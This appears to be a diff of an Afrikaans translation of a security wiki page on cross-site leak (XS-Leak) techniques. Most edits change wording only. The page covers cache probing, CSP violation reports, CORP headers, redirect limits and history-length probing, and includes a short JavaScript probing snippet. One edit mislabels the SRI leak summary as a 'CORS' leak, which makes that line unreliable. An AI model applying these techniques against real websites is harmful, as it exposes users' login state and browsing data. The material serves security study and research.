 ### X-Frame Lek
 
 - **Insluitingsmetodes**: Frames
 - **Waarneembare Verskil**: Header
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
-- **Samevatting:** Hulpbron met X-Frame-Options header skep nie hulpbron tydsberekening inskrywing nie.
+- **Opsomming:** Hulpbron met X-Frame-Options header skep nie hulpbron tydsberekening inskrywing nie.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
 
-As 'n bladsy **nie toegelaat** word om in 'n **iframe** **gerender** te word nie, sal dit **nie 'n prestasie inskrywing** skep nie. As gevolg hiervan kan 'n aanvaller die antwoordheader **`X-Frame-Options`** detecteer.\
+As 'n bladsy **nie toegelaat** word om in 'n **iframe** **gerender** te word nie, sal dit **nie 'n prestasie inskrywing** skep nie. As gevolg hiervan kan 'n aanvaller die antwoord header **`X-Frame-Options`** detecteer.\
 Dieselfde gebeur as jy 'n **embed** **etiket** gebruik.
 
 ### Aflaai Detectie
@@ -348,27 +348,27 @@ Dieselfde gebeur as jy 'n **embed** **etiket** gebruik.
 - **Insluitingsmetodes**: Frames
 - **Waarneembare Verskil**: Header
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Samevatting:** Aflaaie skep nie hulpbron tydsberekening inskrywings in die Prestasie API nie.
+- **Opsomming:** Aflaaie skep nie hulpbron tydsberekening inskrywings in die Prestasie API nie.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
 
-Soortgelyk aan die XS-Lek wat beskryf is, 'n **hulpbron wat afgelaai** word as gevolg van die ContentDisposition header, skep ook **nie 'n prestasie inskrywing** nie. Hierdie tegniek werk in alle groot browers.
+Soortgelyk aan die XS-Lek wat beskryf is, 'n **hulpbron wat afgelaai** word as gevolg van die ContentDisposition header, skep ook **nie 'n prestasie inskrywing** nie. Hierdie tegniek werk in alle groot blaaiers.
 
 ### Oorplasing Begin Lek
 
 - **Insluitingsmetodes**: Frames
 - **Waarneembare Verskil**: Oorplasing
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Samevatting:** Hulpbron tydsberekening inskrywing lek die begin tyd van 'n oorplasing.
+- **Opsomming:** Hulpbron tydsberekening inskrywing lek die begin tyd van 'n oorplasing.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
 
-Ons het een XS-Lek geval gevind wat die gedrag van sommige browers misbruik wat te veel inligting vir kruis-oorsprong versoeke log. Die standaard definieer 'n substel van eienskappe wat op nul gestel moet word vir kruis-oorsprong hulpbronne. Tog, in **SA** is dit moontlik om te detecteer of die gebruiker **oorplaas** is deur die teikenbladsy, deur die **Prestasie API** te ondervra en te kyk vir die **redirectStart tydsdata**.
+Ons het een XS-Lek geval gevind wat die gedrag van sommige blaaiers misbruik wat te veel inligting vir kruis-oorsprong versoeke log. Die standaard definieer 'n substel van eienskappe wat op nul gestel moet word vir kruis-oorsprong hulpbronne. Tog, in **SA** is dit moontlik om te detecteer of die gebruiker **oorplaas** is deur die teikenbladsy, deur die **Prestasie API** te ondervra en te kyk vir die **redirectStart tydsdata**.
 
 ### Duur Oorplasing Lek
 
 - **Insluitingsmetodes**: Fetch API
 - **Waarneembare Verskil**: Oorplasing
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Samevatting:** Die duur van tydsberekening inskrywings is negatief wanneer 'n oorplasing plaasvind.
+- **Opsomming:** Die duur van tydsberekening inskrywings is negatief wanneer 'n oorplasing plaasvind.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
 
 In GC, is die **duur** vir versoeke wat in 'n **oorplasing** eindig **negatief** en kan dus **onderskei** word van versoeke wat nie in 'n oorplasing eindig nie.
@@ -378,7 +378,7 @@ In GC, is die **duur** vir versoeke wat in 'n **oorplasing** eindig **negatief**
 - **Insluitingsmetodes**: Frames
 - **Waarneembare Verskil**: Header
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Samevatting:** Hulpbron wat met CORP beskerm word, skep nie hulpbron tydsberekening inskrywings nie.
+- **Opsomming:** Hulpbron wat met CORP beskerm word, skep nie hulpbron tydsberekening inskrywings nie.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
 
 In sommige gevalle kan die **nextHopProtocol inskrywing** as 'n lek tegniek gebruik word. In GC, wanneer die **CORP header** gestel is, sal die nextHopProtocol **leeg** wees. Let daarop dat SA glad nie 'n prestasie inskrywing vir CORP-geaktiveerde hulpbronne sal genereer nie.
@@ -388,7 +388,7 @@ In sommige gevalle kan die **nextHopProtocol inskrywing** as 'n lek tegniek gebr
 - **Insluitingsmetodes**: Frames
 - **Waarneembare Verskil**: API Gebruik
 - **Meer inligting**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
-- **Samevatting:** Detecteer of 'n dienswerker geregistreer is vir 'n spesifieke oorsprong.
+- **Opsomming:** Detecteer of 'n dienswerker geregistreer is vir 'n spesifieke oorsprong.
 - **Kode Voorbeeld**:
 
 Dienswerkers is gebeurtenis-gedrewe skrip konteks wat by 'n oorsprong loop. Hulle loop in die agtergrond van 'n webblad en kan hulpbronne onderskep, wysig, en **kas** om offline webtoepassings te skep.\
@@ -401,17 +401,17 @@ Dit kan ook gedoen word met 'n Tydsaanval (kyk die papier vir meer inligting).
 - **Insluitingsmetodes**: Fetch API
 - **Waarneembare Verskil**: Tydsberekening
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
-- **Samevatting:** Dit is moontlik om te kyk of 'n hulpbron in die kas gestoor is.
+- **Opsomming:** Dit is moontlik om te kyk of 'n hulpbron in die kas gestoor is.
 - **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
 
-Deur die [Prestasie API](xs-search.md#performance-api) is dit moontlik om te kyk of 'n hulpbron in die kas gestoor is.
+Met die [Prestasie API](xs-search.md#performance-api) is dit moontlik om te kyk of 'n hulpbron in die kas is.
 
 ### Netwerk Duur
 
 - **Insluitingsmetodes**: Fetch API
 - **Waarneembare Verskil**: Bladsy Inhoud
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
-- **Samevatting:** Dit is moontlik om die netwerkduur van 'n versoek van die `prestasie` API te verkry.
+- **Opsomming:** Dit is moontlik om die netwerkduur van 'n versoek van die `performance` API te verkry.
 - **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
 
 ## Foutboodskappe Tegniek
@@ -421,7 +421,7 @@ Deur die [Prestasie API](xs-search.md#performance-api) is dit moontlik om te kyk
 - **Insluitingsmetodes**: HTML Elemente (Video, Audio)
 - **Waarneembare Verskil**: Statuskode
 - **Meer inligting**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
-- **Samevatting:** In Firefox is dit moontlik om akkuraat 'n kruis-oorsprong versoek se statuskode te lek.
+- **Opsomming:** In Firefox is dit moontlik om akkuraat 'n kruis-oorsprong versoek se statuskode te lek.
 - **Kode Voorbeeld**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
 ```javascript
 // Code saved here in case it dissapear from the link
@@ -487,17 +487,17 @@ Hierdie tegniek stel 'n aanvaller in staat om **die bestemming van 'n kruis-oors
 - **Insluitingsmetodes**: Fetch API
 - **Waarneembare Verskil**: Kop
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
-- **Opsomming:** In Veiligheidsbevestigings (SA) stel SRI foutboodskappe onbedoeld die volle URL van omgeleide versoeke bloot.
+- **Opsomming:** In Veiligheidsbevestigings (SA) stel CORS foutboodskappe onbedoeld die volle URL van omgeleide versoeke bloot.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
 
-'n Aanvaller kan **uitgebreide foutboodskappe** benut om die grootte van kruis-oorsprong antwoorde af te lei. Dit is moontlik as gevolg van die meganisme van Subresource Integrity (SRI), wat die integriteitseienskap gebruik om te verifieer dat hulpbronne wat gewoonlik van CDN's af verkry word, nie gemanipuleer is nie. Vir SRI om op kruis-oorsprong hulpbronne te werk, moet hierdie **CORS-geaktiveerd** wees; anders is hulle nie onderhewig aan integriteitskontroles nie. In Veiligheidsbevestigings (SA), net soos die CORS fout XS-Leak, kan 'n foutboodskap vasgevang word nadat 'n fetch versoek met 'n integriteitseienskap misluk. Aanvallers kan doelbewus **hierdie fout veroorsaak** deur 'n **vals hash waarde** aan die integriteitseienskap van enige versoek toe te ken. In SA onthul die resulterende foutboodskap onbedoeld die inhoudslengte van die aangevraagde hulpbron. Hierdie inligtingslek stel 'n aanvaller in staat om variasies in responsgrootte te onderskei, wat die weg baan vir gesofistikeerde XS-Leak aanvalle.
+'n Aanvaller kan **uitgebreide foutboodskappe** benut om die grootte van kruis-oorsprong antwoorde af te lei. Dit is moontlik as gevolg van die meganisme van Subresource Integrity (SRI), wat die integriteitseienskap gebruik om te verifieer dat hulpbronne wat opgevraag word, dikwels van CDN's, nie gemanipuleer is nie. Vir SRI om op kruis-oorsprong hulpbronne te werk, moet hierdie **CORS-geaktiveerd** wees; anders is hulle nie onderhewig aan integriteitskontroles nie. In Veiligheidsbevestigings (SA), net soos die CORS fout XS-Leak, kan 'n foutboodskap vasgevang word nadat 'n fetch versoek met 'n integriteitseienskap misluk. Aanvallers kan doelbewus **hierdie fout veroorsaak** deur 'n **vals hash waarde** aan die integriteitseienskap van enige versoek toe te ken. In SA onthul die resulterende foutboodskap onbedoeld die inhoudslengte van die aangevraagde hulpbron. Hierdie inligtingslek stel 'n aanvaller in staat om variasies in responsgrootte te onderskei, wat die weg baan vir gesofistikeerde XS-Leak aanvalle.
 
 ### CSP Oortreding/Detectie
 
 - **Insluitingsmetodes**: Pop-ups
 - **Waarneembare Verskil**: Statuskode
 - **Meer inligting**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
-- **Opsomming:** As slegs die slagoffer se webwerf in die CSP toegelaat word, en ons probeer om dit na 'n ander domein te herlei, sal die CSP 'n waarneembare fout veroorsaak.
+- **Opsomming:** As slegs die slagoffer se webwerf in die CSP toegelaat word, en ons probeer om na 'n ander domein te herlei, sal die CSP 'n waarneembare fout veroorsaak.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
 
 'n XS-Leak kan die CSP gebruik om te detecteer of 'n kruis-oorsprong webwerf na 'n ander oorsprong omgeleide is. Hierdie lek kan die omleiding opspoor, maar addisioneel, die domein van die omleidingsteiken lek. Die basiese idee van hierdie aanval is om **die teikendomein op die aanvaller se webwerf toe te laat**. Sodra 'n versoek na die teikendomein uitgereik word, **herlei** dit na 'n kruis-oorsprong domein. **CSP blokkeer** die toegang daartoe en skep 'n **oortredingsverslag wat as 'n lek tegniek gebruik word**. Afhangende van die blaaier, **kan hierdie verslag die teikensite van die omleiding lek**.\
@@ -506,14 +506,14 @@ Moderne blaaiers sal nie die URL aandui waarheen dit omgeleide is nie, maar jy k
 ### Cache
 
 - **Insluitingsmetodes**: Frames, Pop-ups
-- **Waarneembare Verskil**: Bladsy-inhoud
+- **Waarneembare Verskil**: Bladsy Inhoud
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
-- **Opsomming:** Verwyder die lêer uit die cache. Open die teikenbladsy en kyk of die lêer in die cache teenwoordig is.
+- **Opsomming:** Verwyder die lêer uit die kas. Open die teikenbladsy en kyk of die lêer in die kas teenwoordig is.
 - **Kode Voorbeeld:**
 
-Blaaiers kan een gedeelde cache vir alle webwerwe gebruik. Ongeag hul oorsprong, is dit moontlik om af te lei of 'n teikenbladsy 'n **spesifieke lêer aangevra het**.
+Blaaiers kan een gedeelde kas vir alle webwerwe gebruik. Ongeag hul oorsprong, is dit moontlik om af te lei of 'n teikenbladsy **'n spesifieke lêer aangevra het**.
 
-As 'n bladsy 'n beeld laai slegs as die gebruiker ingelog is, kan jy die **hulpbron ongeldig maak** (sodat dit nie meer in die cache is as dit was, sien meer inligting skakels nie), **'n versoek uitvoer** wat daardie hulpbron kan laai en probeer om die hulpbron **met 'n slegte versoek** te laai (bv. deur 'n te lang verwysingskop te gebruik). As die hulpbron laai **nie enige fout geaktiveer het nie**, is dit omdat dit **in die cache was**.
+As 'n bladsy 'n beeld laai slegs as die gebruiker ingelog is, kan jy die **hulpbron ongeldig maak** (sodat dit nie meer in die kas is as dit was, sien meer inligting skakels nie), **'n versoek uitvoer** wat daardie hulpbron kan laai en probeer om die hulpbron **met 'n slegte versoek** te laai (bv. deur 'n te lang verwysingskop te gebruik). As die hulpbron laai **geen fout veroorsaak het nie**, is dit omdat dit **in die kas was**.
 
 ### CSP Riglyn
 
@@ -523,17 +523,17 @@ As 'n bladsy 'n beeld laai slegs as die gebruiker ingelog is, kan jy die **hulpb
 - **Opsomming:** CSP kop riglyne kan ondersoek word met die CSP iframe eienskap, wat beleidsbesonderhede onthul.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
 
-'n Nuwe kenmerk in Google Chrome (GC) laat webbladsye toe om **'n Inhoudsekuriteitsbeleid (CSP) voor te stel** deur 'n eienskap op 'n iframe element in te stel, met beleidsriglyne wat saam met die HTTP versoek oorgedra word. Normaalweg moet die ingebedde inhoud **dit via 'n HTTP-kop goedkeur**, of 'n **foutbladsy word vertoon**. As die iframe egter reeds deur 'n CSP beheer word en die nuut voorgestelde beleid nie meer beperkend is nie, sal die bladsy normaal laai. Hierdie meganisme open 'n pad vir 'n aanvaller om **spesifieke CSP riglyne** van 'n kruis-oorsprong bladsy te detecteer deur die foutbladsy te identifiseer. Alhoewel hierdie kwesbaarheid as reggestel gemerk is, onthul ons bevindings 'n **nuwe lek tegniek** wat in staat is om die foutbladsy te detecteer, wat daarop dui dat die onderliggende probleem nooit ten volle aangespreek is nie.
+'n Nuwe kenmerk in Google Chrome (GC) laat webbladsye toe om **'n Inhoudsekuriteitsbeleid (CSP) voor te stel** deur 'n eienskap op 'n iframe element in te stel, met beleidsriglyne wat saam met die HTTP versoek oorgedra word. Normaalweg moet die ingebedde inhoud **dit via 'n HTTP-kop magtig**, of 'n **foutbladsy word vertoon**. As die iframe egter reeds deur 'n CSP beheer word en die nuut voorgestelde beleid nie meer beperkend is nie, sal die bladsy normaal laai. Hierdie meganisme open 'n pad vir 'n aanvaller om **spesifieke CSP riglyne** van 'n kruis-oorsprong bladsy te detecteer deur die foutbladsy te identifiseer. Alhoewel hierdie kwesbaarheid as reggestel gemerk is, onthul ons bevindings 'n **nuwe lek tegniek** wat in staat is om die foutbladsy te detecteer, wat daarop dui dat die onderliggende probleem nooit ten volle aangespreek is nie.
 
 ### **CORP**
 
 - **Insluitingsmetodes**: Fetch API
 - **Waarneembare Verskil**: Kop
 - **Meer inligting**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
-- **Opsomming:** Hulpbronne wat beveilig is met die Cross-Origin Resource Policy (CORP) sal 'n fout gooi wanneer dit van 'n nie-toegestane oorsprong af verkry word.
+- **Opsomming:** Hulpbronne wat beveilig is met die Cross-Origin Resource Policy (CORP) sal 'n fout gooi wanneer dit van 'n nie-toegestane oorsprong afgelaai word.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
 
-Die CORP-kop is 'n relatief nuwe webplatform sekuriteitskenmerk wat, wanneer dit ingestel is, **nie-cors kruis-oorsprong versoeke na die gegewe hulpbron blokkeer**. Die teenwoordigheid van die kop kan opgespoor word, want 'n hulpbron wat met CORP beskerm word, sal **'n fout gooi wanneer dit verkry word**.
+Die CORP-kop is 'n relatief nuwe webplatform sekuriteitskenmerk wat, wanneer dit ingestel is, **nie-cors kruis-oorsprong versoeke na die gegewe hulpbron blokkeer**. Die teenwoordigheid van die kop kan opgespoor word, want 'n hulpbron wat met CORP beskerm word, sal **'n fout gooi wanneer dit afgelaai word**.
 
 ### CORB
 
@@ -550,10 +550,10 @@ Kyk na die skakel vir meer inligting oor die aanval.
 - **Insluitingsmetodes**: Fetch API
 - **Waarneembare Verskil**: Kop
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
-- **Opsomming**: As die Oorsprong kop in die kop `Access-Control-Allow-Origin` weerspieël word, is dit moontlik om te kyk of 'n hulpbron reeds in die cache is.
+- **Opsomming**: As die Oorsprong kop in die kop `Access-Control-Allow-Origin` weerspieël word, is dit moontlik om te kyk of 'n hulpbron reeds in die kas is.
 - **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
 
-In die geval dat die **Oorsprong kop** in die kop `Access-Control-Allow-Origin` **weerspieël** word, kan 'n aanvaller hierdie gedrag misbruik om te probeer **verkry** die **hulpbron** in **CORS** modus. As 'n **fout** **nie** geaktiveer word nie, beteken dit dat dit **korrek van die web verkry is**, as 'n fout **geaktiveer** word, is dit omdat dit **van die cache** geaccess is (die fout verskyn omdat die cache 'n respons met 'n CORS-kop wat die oorspronklike domein toelaat en nie die aanvaller se domein nie, stoor).\
+In die geval dat die **Oorsprong kop** in die kop `Access-Control-Allow-Origin` **weerspieël** word, kan 'n aanvaller hierdie gedrag misbruik om te probeer **aflaai** van die **hulpbron** in **CORS** modus. As 'n **fout** **nie** geaktiveer word nie, beteken dit dat dit **korrek van die web verkry is**, as 'n fout **geaktiveer** word, is dit omdat dit **van die kas** toegang verkry is (die fout verskyn omdat die kas 'n respons met 'n CORS-kop wat die oorspronklike domein toelaat en nie die aanvaller se domein nie, stoor).\
 Let daarop dat as die oorsprong nie weerspieël word nie, maar 'n wildcard gebruik word (`Access-Control-Allow-Origin: *`), dit nie sal werk nie.
 
 ## Leesbare Eienskappe Tegniek
@@ -578,7 +578,7 @@ Deur 'n versoek te dien met die Fetch API met `redirect: "manual"` en ander para
 
 'n Aanvaller is in staat om die teenwoordigheid van die Cross-Origin Opener Policy (COOP) kop in 'n kruis-oorsprong HTTP respons af te lei. COOP word deur webtoepassings gebruik om te verhoed dat eksterne webwerwe willekeurige venster verwysings verkry. Die sigbaarheid van hierdie kop kan opgespoor word deur te probeer om toegang te verkry tot die **`contentWindow` verwysing**. In scenario's waar COOP voorwaardelik toegepas word, word die **`opener` eienskap** 'n duidelike aanduiding: dit is **onbeskikbaar** wanneer COOP aktief is, en **beskikbaar** in sy afwesigheid.
 
-### URL Maks Lengte - Bedienerkant
+### URL Maks Lengte - Bediener Kant
 
 - **Insluitingsmetodes**: Fetch API, HTML Elemente
 - **Waarneembare Verskil**: Statuskode / Inhoud
@@ -586,14 +586,14 @@ Deur 'n versoek te dien met die Fetch API met `redirect: "manual"` en ander para
 - **Opsomming:** Detecteer verskille in responsies omdat die omleiding responslengte dalk te groot is dat die bediener met 'n fout terug speel en 'n waarskuwing geaktiveer word.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
 
-As 'n bediener-kant omleiding **gebruikersinvoer binne die omleiding** en **extra data** gebruik. Dit is moontlik om hierdie gedrag te detecteer omdat bedieners gewoonlik 'n **limiet op versoeklengte** het. As die **gebruikersdata** daardie **lengte - 1** is, omdat die **omleiding** **daardie data** gebruik en **iets ekstra** toevoeg, sal dit 'n **fout aktiveer wat via Foutgebeurtenisse opspoorbaar is**.
+As 'n bediener-kant omleiding **gebruikersinvoer binne die omleiding** en **extra data** gebruik. Dit is moontlik om hierdie gedrag te detecteer omdat bedieners gewoonlik 'n **limiet op versoeklengte** het. As die **gebruikersdata** daardie **lengte - 1** is, omdat die **omleiding** **daardie data** gebruik en **iets ekstra** toevoeg, sal dit 'n **fout aktiveer wat via Fout Gebeure opspoorbaar is**.
 
-As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierdie aanval uitvoer deur **voldoende koekies in te stel** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) sodat met die **verhoogde grootte van die respons** van die **korrekte respons** 'n **fout** geaktiveer word. In hierdie geval, onthou dat as jy hierdie versoek vanaf 'n dieselfde webwerf aktiveer, `<script>` outomaties die koekies sal stuur (sodat jy vir foute kan kyk).\
+As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierdie aanval uitvoer deur **voldoende koekies te stel** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) sodat met die **verhoogde grootte van die respons** van die **korrekte respons** 'n **fout** geaktiveer word. In hierdie geval, onthou dat as jy hierdie versoek vanaf 'n selfde webwerf aktiveer, `<script>` outomaties die koekies sal stuur (sodat jy vir foute kan kyk).\
 'n Voorbeeld van die **koekie bom + XS-Search** kan gevind word in die Beoogde oplossing van hierdie skrywe: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
 
 `SameSite=None` of om in dieselfde konteks te wees, is gewoonlik nodig vir hierdie tipe aanval.
 
-### URL Maks Lengte - Kliëntkant
+### URL Maks Lengte - Kliënt Kant
 
 - **Insluitingsmetodes**: Pop-ups
 - **Waarneembare Verskil**: Statuskode / Inhoud
@@ -609,7 +609,7 @@ Daarom, as die **omleiding URL** in een van die gevalle groter is, is dit moontl
 
 Die **waarneembare verskil** is dat as die **omleiding** voltooi was, `window.origin` 'n **fout** gooi omdat 'n kruis oorsprong nie daardie inligting kan toegang nie. As die **limiet** egter **getref** is en die gelaaide bladsy **`about:blank#blocked`** was, bly die venster se **`origin`** dié van die **ouer**, wat 'n **toeganklike inligting** is.
 
-Al die ekstra inligting wat nodig is om die **2MB** te bereik, kan via 'n **hash** in die aanvanklike URL bygevoeg word sodat dit **in die omleiding gebruik sal word**.
+Al die ekstra inligting wat nodig is om die **2MB** te bereik, kan via 'n **hash** in die aanvanklike URL bygevoeg word sodat dit in die **omleiding** gebruik sal word.
 
 {{#ref}}
 xs-search/url-max-length-client-side.md
@@ -623,7 +623,7 @@ xs-search/url-max-length-client-side.md
 - **Opsomming:** Gebruik die blaaier se omleiding limiet om die voorkoms van URL omleidings te bepaal.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
 
-As die **maks** aantal **omleidings** wat 'n blaaiers kan volg **20** is, kan 'n aanvaller probeer om sy bladsy met **19 omleidings** te laai en uiteindelik die **slagoffer** na die getoetste bladsy te stuur. As 'n **fout** geaktiveer word, dan was die bladsy besig om die **slagoffer te herlei**.
+As die **maks** aantal **omleidings** wat 'n blaaiers kan volg **20** is, kan 'n aanvaller probeer om sy bladsy met **19 omleidings** te laai en uiteindelik die **slagoffer** na die getoetsde bladsy te stuur. As 'n **fout** geaktiveer word, dan was die bladsy besig om die **slagoffer** te **herlei**.
 
 ### Geskiedenis Lengte
 
@@ -634,7 +634,7 @@ As die **maks** aantal **omleidings** wat 'n blaaiers kan volg **20** is, kan 'n
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
 
 Die **Geskiedenis API** laat JavaScript kode toe om die blaaiers geskiedenis te manipuleer, wat **die bladsye wat deur 'n gebruiker besoek is, stoor**. 'n Aanvaller kan die lengte eienskap as 'n insluitingsmetode gebruik: om JavaScript en HTML navigasie te detecteer.\
-**Kontroleer `history.length`**, maak 'n gebruiker **navigeer** na 'n bladsy, **verander** dit **terug** na die selfde oorsprong en **kontroleer** die nuwe waarde van **`history.length`**.
+**Kontroleer `history.length`**, maak 'n gebruiker **na 'n bladsy** **navigeer**, **verander** dit **terug** na die selfde oorsprong en **kontroleer** die nuwe waarde van **`history.length`**.
 
 ### Geskiedenis Lengte met dieselfde URL
 
@@ -643,7 +643,7 @@ Die **Geskiedenis API** laat JavaScript kode toe om die blaaiers geskiedenis te
 - **Opsomming:** Dit is moontlik om te raai of die ligging van 'n raam/pop-up in 'n spesifieke URL is deur die geskiedenis lengte te misbruik.
 - **Kode Voorbeeld**: Hieronder
 
-'n Aanvaller kan JavaScript kode gebruik om die **raam/pop-up ligging na 'n geraamde een te manipuleer** en dit **onmiddellik** **na `about:blank` te verander**. As die geskiedenis lengte toeneem, beteken dit die URL was korrek en dit het tyd gehad om **te verhoog omdat die URL nie herlaai word as dit dieselfde is nie**. As dit nie toeneem nie, beteken dit dit **het probeer om die geraamde URL te laai**, maar omdat ons **onmiddellik daarna** **`about:blank`** gelaai het, het die **geskiedenis lengte nooit toegenomen** toe die geraamde url gelaai is.
+'n Aanvaller kan JavaScript kode gebruik om die **raam/pop-up ligging na 'n geraamde een te manipuleer** en dit **onmiddellik** **na `about:blank` te verander**. As die geskiedenis lengte toeneem, beteken dit die URL was korrek en dit het tyd gehad om te **verhoog omdat die URL nie herlaai word as dit dieselfde is nie**. As dit nie toeneem nie, beteken dit dit **het probeer om die geraamde URL te laai**, maar omdat ons **onmiddellik daarna** **`about:blank`** gelaai het, het die **geskiedenis lengte nooit toegenomen** toe die geraamde url gelaai is.
 ```javascript
 async function debug(win, url) {
 win.location = url + "#aaa"
@@ -669,10 +669,10 @@ console.log(await debug(win, "https://example.com/?a=b"))
 - **Summary:** Evalueer die hoeveelheid iframe-elemente deur die `window.length` eienskap te inspekteer.
 - **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
 
-Tel die **aantal rame in 'n web** wat via `iframe` of `window.open` geopen is, kan help om die **status van die gebruiker oor daardie bladsy** te identifiseer.\
+Tel die **aantal rame in 'n web** wat geopen is via `iframe` of `window.open` kan help om die **status van die gebruiker oor daardie bladsy** te identifiseer.\
 Boonop, as die bladsy altyd dieselfde aantal rame het, kan die **deurlopende** kontrole van die aantal rame help om 'n **patroon** te identifiseer wat inligting kan lek.
 
-'n Voorbeeld van hierdie tegniek is dat in chrome, 'n **PDF** met **rame telling** gedetecteer kan word omdat 'n `embed` intern gebruik word. Daar is [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) wat 'n mate van beheer oor die inhoud toelaat soos `zoom`, `view`, `page`, `toolbar` waar hierdie tegniek interessant kan wees.
+'n Voorbeeld van hierdie tegniek is dat in chrome, 'n **PDF** met **rame telling** opgespoor kan word omdat 'n `embed` intern gebruik word. Daar is [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) wat 'n mate van beheer oor die inhoud toelaat soos `zoom`, `view`, `page`, `toolbar` waar hierdie tegniek interessant kan wees.
 
 ### HTMLElements
 
@@ -682,7 +682,7 @@ Boonop, as die bladsy altyd dieselfde aantal rame het, kan die **deurlopende** k
 - **Summary:** Lees die gelekte waarde om tussen 2 moontlike toestande te onderskei
